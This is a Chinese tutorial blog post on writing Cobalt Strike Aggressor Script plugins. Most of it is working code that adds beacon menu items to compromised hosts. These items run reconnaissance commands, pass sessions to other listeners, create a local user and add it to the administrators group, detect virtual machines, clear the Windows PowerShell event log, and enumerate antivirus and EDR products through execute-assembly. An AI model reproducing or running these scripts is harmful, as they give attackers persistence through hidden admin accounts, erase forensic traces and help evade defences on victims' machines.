CobaltStrike插件开发-learning-day4

目录

CobaltStrike插件开发的几个场景

指定Beacon执行系统命令

上线目标会话传递

交互式操作

执行powershell命令

加载powershell,传参

加载exe,传参

 


CobaltStrike插件开发的几个场景

指定Beacon执行系统命令

bshell($1,"whoami");

$1为当前beacon的id

具体弹框出来看一下:show_message($1) 每个会话都是随机的

模拟一个简单的场景,实现上线用户信息的查看,code如下,注意以下三种写法都可

sub showuser {
    show_message($1);
	bshell($1, "query user");
}
popup beacon_bottom {
    menu "查看用户信息"{
	item "查看当前用户" {
	bshell($1, "whoami");
	};
	separator();
	item("&查看计算机用户",{bshell($1, "net user");});
	item("&查看在线用户",{showuser($1);});
	}
	
}

效果如下:

点击第三个选项:弹出会话id,然后在beacon中显示命令执行后的结果

上线目标会话传递

	item("&会话传递",{openPayloadHelper(lambda({bspawn($bid, $1);
  	println("我们传递的监听器是".$1."需要传递的会话id为".$bid)},$bid => $1));

交互式操作

测试一下参数传递是否正常

sub dialog_input {
    #第一行设置标题以及回调函数
    show_message($1);
	$dialog = dialog("添加用户", %(username => "admin",password => "root",bid => $1),&show);  
	drow_text($dialog,"username","请输入用户名:");  #用户名输入框
	drow_text($dialog,"password","请输入密码:");    #密码输入框
	dbutton_action($dialog, "确定");   #确定按钮,当点击了该按钮,就会调用回调函数
	dialog_show($dialog);    #显示对话框
}
sub show{
    show_message("输入的用户名:".$3['username']."输入的密码: ".$3['password']." 会话id为: ".$3['bid']);
}

添加用户实现

sub dialog_input {
    #第一行设置标题以及回调函数
    $bid = $1['@'];#拿出数组的第一个元素
	$dialog = dialog("添加用户", %(username => "admin",password => "root",bid => $bid),&show);  
	drow_text($dialog,"username","请输入用户名:");  #用户名输入框
	drow_text($dialog,"password","请输入密码:");    #密码输入框
	dbutton_action($dialog, "确定");   #确定按钮,当点击了该按钮,就会调用回调函数
	dialog_show($dialog);    #显示对话框
}
#回调函数
sub show{
	#bshell($bid, "net user $3['username'] $3['password'] /add");
	#bshell($bid, "net localgroup administrators $3['username'] /add");
	#bshell($bid, "net localgroup administrators");
	bshell($3['bid'], "net user $3['username'] $3['password'] /add");
	bshell($3['bid'], "net localgroup administrators $3['username'] /add");
	bshell($3['bid'], "net localgroup administrators");
}

 

执行powershell命令

bpowerpick($1,"需要执行的系统命令");

code:

item("&执行powershell命令(查看powershell执行策略)",{bpowerpick($1,"get-Executionpolicy");});

 

执行结果

 

加载powershell,传参

bpowershell_import($bid,script_resource("powershell路径"));

bpowerpick($bid,"powershell里面的自定义的函数");

	item("&检测是否为虚拟机",{
	    bpowershell_import($1, script_resource("/Check-VM.ps1"));
            bpowerpick($1,"Check-VM");
            bshell($1,"wevtutil cl \"Windows PowerShell\"");
	});

后续继续补充,未完待续

加载exe,传参

bexecute_assembly($1, script_resource('exe路径'), "追加的命令");

bexecute_assembly($1, script_resource('/SharpCheckInfo.exe'), "-AvProcessEDRproduct");

 

后续继续补充,未完待续

参考:

https://mp.weixin.qq.com/s/i7QzwMAmUyxoBs0CwcGC-g

 

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值